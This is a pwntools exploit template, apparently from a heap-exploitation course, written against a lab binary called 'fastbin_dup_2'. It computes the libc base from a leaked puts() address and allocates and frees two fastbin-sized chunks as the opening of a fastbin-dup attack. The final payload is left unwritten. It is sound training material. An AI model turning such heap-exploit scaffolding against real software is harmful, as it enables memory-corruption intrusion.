#!/usr/bin/python3 from pwn import * elf = context.binary = ELF("fastbin_dup_2") libc = elf.libc #gs = ''' #continue #''' gs = ''' break main ''' def start(): if args.GDB: return gdb.debug(elf.path, gdbscript=gs) else: return process(elf.path) # Index of allocated chunks. index = 0 # Select the "malloc" option; send size & data. # Returns chunk index. def malloc(size, data): global index io.send("1") io.sendafter("size: ", f"{size}") io.sendafter("data: ", data) io.recvuntil("> ") index += 1 return index - 1 # Select the "free" option; send index. def free(index): io.send("2") io.sendafter("index: ", f"{index}") io.recvuntil("> ") io = start() # This binary leaks the address of puts(), use it to resolve the libc load address. io.recvuntil("puts() @ ") libc.address = int(io.recvline(), 16) - libc.sym.puts io.timeout = 0.1 # ============================================================================= # =-=-=- EXAMPLE -=-=-= # Request two 0x50-sized chunks. chunk_A = malloc(0x48, "A"*8) chunk_B = malloc(0x48, "B"*8) # Free the first chunk, then the second. free(chunk_A) free(chunk_B) # ============================================================================= io.interactive()